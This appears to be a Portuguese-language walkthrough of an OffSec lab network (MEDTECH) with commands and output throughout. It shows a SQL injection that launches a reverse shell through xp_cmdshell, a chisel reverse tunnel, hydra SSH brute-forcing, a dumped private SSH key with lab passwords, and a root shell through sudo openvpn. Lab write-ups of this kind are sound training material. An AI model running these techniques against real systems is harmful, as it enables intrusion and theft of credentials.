Antes de ir para DC01 , vamos na ultima máquina para explorar ( PROD01 ) e capturar a
flag de lá

$ proxychains -q evil-winrm -i 172.16.245.13 -u leon -p "rabbit:)"


*Evil-WinRM* PS C:\Users\leon\Documents> type ../Desktop/local.txt
Cannot find path 'C:\Users\leon\Desktop\local.txt' because it does not
exist.

*Evil-WinRM* PS C:\Users\leon\Documents> type


../../Administrator/Desktop/proof.txt
83e7a9ab5cb3dab2616fdb3b1bedfe0b

Agora, acessando a DC01 , obtemos as flags finais desse domínio.

$ proxychains -q evil-winrm -i 172.16.245.10 -u leon -p "rabbit:)"


*Evil-WinRM* PS C:\Users\leon\Documents> type ../Desktop/local.txt
Cannot find path 'C:\Users\leon\Desktop\local.txt' because it does not
exist.

*Evil-WinRM* PS C:\Users\leon\Documents> type


../../Administrator/Desktop/proof.txt
0a3e88fedbaecb7faea495c6c1c5dcae

Ainda dentro de DC01 , temos um arquivo chamado credentials.txt que possui a


seguinte credencial:

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type credentials.txt


web01: offsec/century62hisan51

username password
offsec century62hisan51

Como sabemos que não temos no AD um WEB01 , utilizaremos essa credencial para
outro host do desafio. Acredito que aqui esteja finalizado.
Aparentemente faltou uma máquina ( 172.16.XXX.14 ), não sei se está aqui, mas vou
tentar:

POST /login.aspx HTTP/1.1


Host: 192.168.245.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,*/*;q=0.8
Accept-Language: en-US,en;q=0.5cd
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 536
Origin: http://192.168.245.121
Connection: close
Referer: http://192.168.245.121/login.aspx
Upgrade-Insecure-Requests: 1

__VIEWSTATE=%2FwEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0
cD9%2Bjc%3D&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAATHRQHJ3
fxgbABeqXLtYnwsG8sL8VA5%2Fm7gZ949JdB2tEE%2BRwHRw9AX2%2FIZO4gVaaKVeG6rrLts0M
7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM%3D&ctl00%24ContentPla
ceHolder1%24UsernameTextBox=admin%27%20EXEC%20master.dbo.xp_cmdshell%20%27C
%3A%5CUsers%5CPublic%5Creverse.exe%27%3B%20--%20%2F%2Fcd
C&ctl00%24ContentPlaceHolder1%24PasswordTextBox=password&ctl00%24ContentPla
ceHolder1%24LoginButton=Login

$ nc -lnvp 4444

C:\Windows\system32>

$ ./chisel server -p 8001 --socks5 --reverse


2024/06/16 01:10:12 server: Reverse tunnelling enabled
2024/06/16 01:10:12 server: Fingerprint
JdUv0mQDym2vJxUrR5BLNipTyzLnFbOetQDgpd9Tb0A=
2024/06/16 01:10:12 server: Listening on http://0.0.0.0:8001

C:\Users\Public\Documents>.\chisel.exe client 192.168.45.170:8001 R:socks


.\chisel.exe client 192.168.45.170:8001 R:socks
2024/06/15 21:10:27 client: Connecting to ws://192.168.45.170:8001
2024/06/15 21:10:28 client: Connected (Latency 156.5526ms)

2024/06/16 01:11:28 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks:


Listening

$ proxychains -q evil-winrm -i 172.16.245.14 -u leon -p "rabbit:)"


Error: An error of type Errno::ECONNREFUSED happened, message is Connection
refused - Connection refused - connect(2) for "172.16.245.14" port 5985
(172.16.245.14:5985)

Aparentemente não temos o serviço WinRM na máquina. Realizando um nmap para


saber quais são os serviços que estão levantados nela:

$ proxychains -q nmap -sC -sV 172.16.245.14


Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 01:14 -03
Nmap scan report for 172.16.245.14
Host is up (2.5s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 eb:0e:77:7c:69:f2:4a:a5:65:2a:1c:ec:ec:6e:79:19 (RSA)
| 256 74:51:ee:1e:8f:61:d6:0f:c5:11:52:2e:f9:ef:ac:29 (ECDSA)
|_ 256 5f:4f:29:47:7a:14:65:4d:bc:f3:74:40:a7:45:7e:94 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2558.37 seconds

Aparentemente só tem a porta 22 aberta, vamos tentar brutar com as credenciais


(usuário e senha) coletados até agora:

$ proxychains -q hydra -L Documents/medtech/hashes/users.txt -P


Documents/medtech/hashes/pass.txt -s 22 ssh://172.16.245.14

A máquina 192.168.XXX.122 tem vinculo diretamente com essa máquina, como


podemos ver dentro dela (Peguei essa dica do discord da offsec ):

# whoami
root
# ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.245.122 netmask 255.255.255.0 broadcast
192.168.245.255
ether 00:50:56:bf:d3:06 txqueuelen 1000 (Ethernet)
RX packets 173758 bytes 527464872 (527.4 MB)
RX errors 0 dropped 1447 overruns 0 frame 0
TX packets 72793 bytes 5753347 (5.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500


inet 172.16.245.122 netmask 255.255.255.0 broadcast
172.16.245.255
ether 00:50:56:bf:67:8d txqueuelen 1000 (Ethernet)
RX packets 10424 bytes 683968 (683.9 KB)
RX errors 0 dropped 302 overruns 0 frame 0
TX packets 54 bytes 3596 (3.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 3423 bytes 295842 (295.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3423 bytes 295842 (295.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# pwd
/home/offsec
# cd ..
# ls
mario offsec

Temos o usuário mario, verificando os arquivos dentro da pasta:

# cd mario
# ls -lah
total 32K
drwxr-x--- 4 mario mario 4.0K Oct 6 2022 .
drwxr-xr-x 4 root root 4.0K Oct 3 2022 ..
-rw------- 1 mario mario 58 Oct 3 2022 .bash_history
-rw-r--r-- 1 mario mario 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 mario mario 3.7K Jan 6 2022 .bashrc
drwx------ 2 mario mario 4.0K Oct 6 2022 .cache
-rw-r--r-- 1 mario mario 807 Jan 6 2022 .profile
drwx------ 2 mario mario 4.0K Oct 3 2022 .ssh

Pasta .ssh é interessante por que pode conter uma chave privada para usar como
autenticação no outro ssh

# cd .ssh
# ls
id_rsa id_rsa.pub known_hosts known_hosts.old

Como suspeitava, temos acesso a id_rsa para podermos testar na outra máquina:

# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
pI77A9Emp3E9cAAAAJbWFyaW9AdnBuAQI=
-----END OPENSSH PRIVATE KEY-----

Agora em posse da chave privada, podemos tentar novamente a conexão no host


172.16.245.14
$ chmod 600 id_rsa

$ proxychains ssh -i ./id_rsa [email protected]

$ whoami
mario
$ hostname
NTP
$ cat local.txt
5ad5e2fe4d722463729259d3c0a757d4

Com isso, encerramos as flags da MEDTECH!

192.168.XXX.120

Keeping track

machine local.txt proof.txt


WEB01 192.168.XXX.120 (Pwdned!) didn't had one X

nmap
Nmap scan report for 192.168.215.120
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:72:7e:4c:bb:ff:86:ae:b0:03:00:79:a1:c5:af:34 (RSA)
| 256 f1:31:e5:75:31:36:a2:59:f3:12:1b:58:b4:bb:dc:0f (ECDSA)
|_ 256 5a:05:9c:fc:2f:7b:7e:0b:81:a6:20:48:5a:1d:82:7e (ED25519)
80/tcp open http WEBrick httpd 1.6.1 (Ruby 2.7.4 (2021-07-07))
|_http-server-header: WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)
|_http-title: PAW! (PWK Awesome Website)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Acessando a 80.: PAW! (PWK Awesome Website) .

O site parece estar usando, de acordo com o Wappalyzer, um static site generator
chamado Jekyll. a versão detectada é:

http://0.0.0.0/jekyll/update/**2022/10/03**/welcome-to-jekyll.html

Fuzzing no site com ffuf primeiro:

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u
http://192.168.215.120/FUZZ

Encontramos alguns diretórios

index [Status: 200, Size: 4649, Words: 625, Lines: 218,


Duration: 209ms]
404 [Status: 200, Size: 4328, Words: 585, Lines: 187,
Duration: 160ms]
assets [Status: 301, Size: 46, Words: 2, Lines: 2,
Duration: 160ms]
about [Status: 301, Size: 44, Words: 2, Lines: 2,
Duration: 159ms]
static [Status: 301, Size: 46, Words: 2, Lines: 2,
Duration: 160ms]
. [Status: 200, Size: 4649, Words: 625, Lines: 218,
Duration: 160ms]
:: Progress: [43007/43007] :: Job [1/1] :: 123 req/sec :: Duration:
[0:06:09] :: Errors: 0 ::

Navegando por eles, é possível observar também que o servidor HTTP é um WEBrick
versão

WEBrick/1.6.1 (Ruby/2.7.4/2021-07-07)

Busca rápida no searchsploit encontrei 3:

$ searchsploit WEBrick

Ruby 1.9 - 'WEBrick::HTTP::DefaultFileHandler' Crafted HTTP Request Denial


of Service | multiple/dos/32222.rb
Ruby 1.9.1 - WEBrick 'Terminal Escape Sequence in Logs' Command Injection
| multiple/remote/33489.txt
Ruby on Rails 3.0.5 - 'WEBrick::HTTPRequest' Module HTTP Header Injection
| multiple/remote/35352.rb

DoS não é interessante, mas tem um command injection que talvez funcione:

$ searchsploit -x multiple/remote/33489.txt

wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

Não deu certo, tentar outra forma.

Tentando ssh com o usuário que eu encontrei no AD.

username password
offsec century62hisan51

$ ssh [email protected]
[email protected]'s password:
offsec@WEB01:~$

Sucesso! Conseguimos acesso ao 192.168.XXX.120 que é o WEB01

Agora podemos pegar a flag e escalar privilégios na máquina.

offsec@WEB01:~/offsec$ find / -name "local.txt" 2>/dev/null

Agora para a escalação de privilégios, rodamos o linpeas.sh . Observamos que o


nosso usuário pode executar qualquer comando como sudo

User offsec may run the following commands on WEB01:


(ALL) NOPASSWD: ALL
(ALL : ALL) NOPASSWD: ALL

Com isso, o privesc é super simples, basta executar por exemplo o comando sudo su
offsec@WEB01:~$ sudo su
root@WEB01:/home/offsec# whoami
root
root@WEB01:/home/offsec# cd /root
root@WEB01:~# dir
gems proof.txt _site startup.py
root@WEB01:~# cat proof.txt
95389f99e0a7f6be4a997e57dbff02dd

Imagino que é isso para 192.168.XXX.120

root@WEB01:/# find / -name "local.txt" 2>/dev/null


root@WEB01:/# find / -name "proof.txt" 2>/dev/null
/root/proof.txt
root@WEB01:/# cat /root/proof.txt
95389f99e0a7f6be4a997e57dbff02dd

192.168.XXX.122

Keeping track

machine local.txt proof.txt


192.168.XXX.122 X X

nmap
nmap -sC -sV 192.168.215.122

Nmap scan report for 192.168.215.122


Host is up (0.17s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:f9:e1:44:6a:40:bc:90:e0:3f:1d:d8:86:bc:a9:3d (ECDSA)
|_ 256 24:97:84:f2:58:53:7b:a3:f7:40:e9:ad:3d:12:1e:c7 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at


https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 51.56 seconds

Posso tentar fazer a partir do


challenges/MEDTECH/192.168.XXX.121/192.168.XXX.121, login e user encontrados lá

username password
joe Flowers1

Não deu certo, fazer um nmap que contempla mais informações

sudo nmap -sS -p- -T4 192.168.199.122

Nmap scan report for 192.168.199.122


Host is up (0.16s latency).
Not shown: 65474 closed tcp ports (reset), 59 filtered tcp ports (no-
response)
PORT STATE SERVICE
22/tcp open ssh
1194/tcp open openvpn

Nmap done: 1 IP address (1 host up) scanned in 480.68 seconds

Após ownar o AD localizado pela entrada 192.168.XXX.121 , vou tentar utilizar a


credencial que consegui por lá:

username password
offsec century62hisan51

$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.

No luck :(

Testar TODOS os usuários e TODAS as senhas encontradas até agora via hydra
User Password
YOSHI Mushroom!
MARIO XX
LEON rabbit:)
JOE Flowers1
PEACH XX
WARIO Mushroom!
offsec century62hisan51

$ sudo hydra -L users.txt -P pass.txt -s 22 ssh://192.168.245.122


[sudo] password for kali:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-16


00:44:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 40 login tries
(l:10/p:4), ~3 tries per task
[DATA] attacking ssh://192.168.245.122:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-16
00:44:19

Eu aparentemente perdi algumas senhas no caminho das obtenção das máquinas, as


pessoas tinham mais essas senhas que eu não encontrei:

secret
WhileChirpTuesday218
password

Adicionando essas senhas no meu pass.txt , agora eu consigo testar o hydra com
elas:

$ sudo hydra -L users.txt -P pass.txt -s 22 ssh://192.168.245.122


Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-16


00:55:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to
skip waiting)) from a previous session found, to prevent overwriting,
./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries
(l:10/p:8), ~5 tries per task
[DATA] attacking ssh://192.168.245.122:22/
[22][ssh] host: 192.168.245.122 login: offsec password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-16
00:55:58

Conseguimos agora o usuário e senha para acessar o SSH:

ssh [email protected]
[email protected]'s password:
Last login: Wed Mar 8 07:42:02 2023
(lshell) - You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
offsec:~$

Shell está limitada, pelo menos consigo pegar a flag inicial:

offsec:~$ cat local.txt


ee698913a6006210b63a8a4ea5e11790

Negócio é doido, não posso realizar nada além dos comandos descritos

offsec:~$ ?
cat cd clear echo exit help history ll lpath ls lsudo sudo

Com acesso pelo menos ao sudo, consigo saber se consigo executar um comando com
privilégios administrativos
offsec:~$ sudo -l
[sudo] password for offsec:
Matching Defaults entries for offsec on vpn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/b
in\:/snap/bin, use_pty

User offsec may run the following commands on vpn:


(ALL : ALL) /usr/sbin/openvpn

Binário openvpn pode ser executado com privilégios administrativos. Consultando o


gtfobins , temos que para conseguir root na máquina, podemos executar o seguinte
comando:

sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'

Executando o comando acima, temos:

offsec:~$ sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'


2024-06-16 04:01:26 Cipher negotiation is disabled since neither P2MP
client nor server mode is enabled
2024-06-16 04:01:26 OpenVPN 2.5.5 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO]
[LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Mar 22 2022
2024-06-16 04:01:26 library versions: OpenSSL 3.0.2 15 Mar 2022, LZO 2.10
2024-06-16 04:01:26 NOTE: the current --script-security setting may allow
this configuration to call user-defined scripts
2024-06-16 04:01:26 ******* WARNING *******: All encryption and
authentication features disabled -- All data will be tunnelled as clear
text and will not be protected against man-in-the-middle changes. PLEASE DO
RECONSIDER THIS CONFIGURATION!
2024-06-16 04:01:26 /bin/sh -c sh null 1500 1500 init
# whoami
root

Por fim, pegamos a flag proof.txt

# cat /root/proof.txt
f5aba9837787fa4d5ea13460e8cc603f

You might also like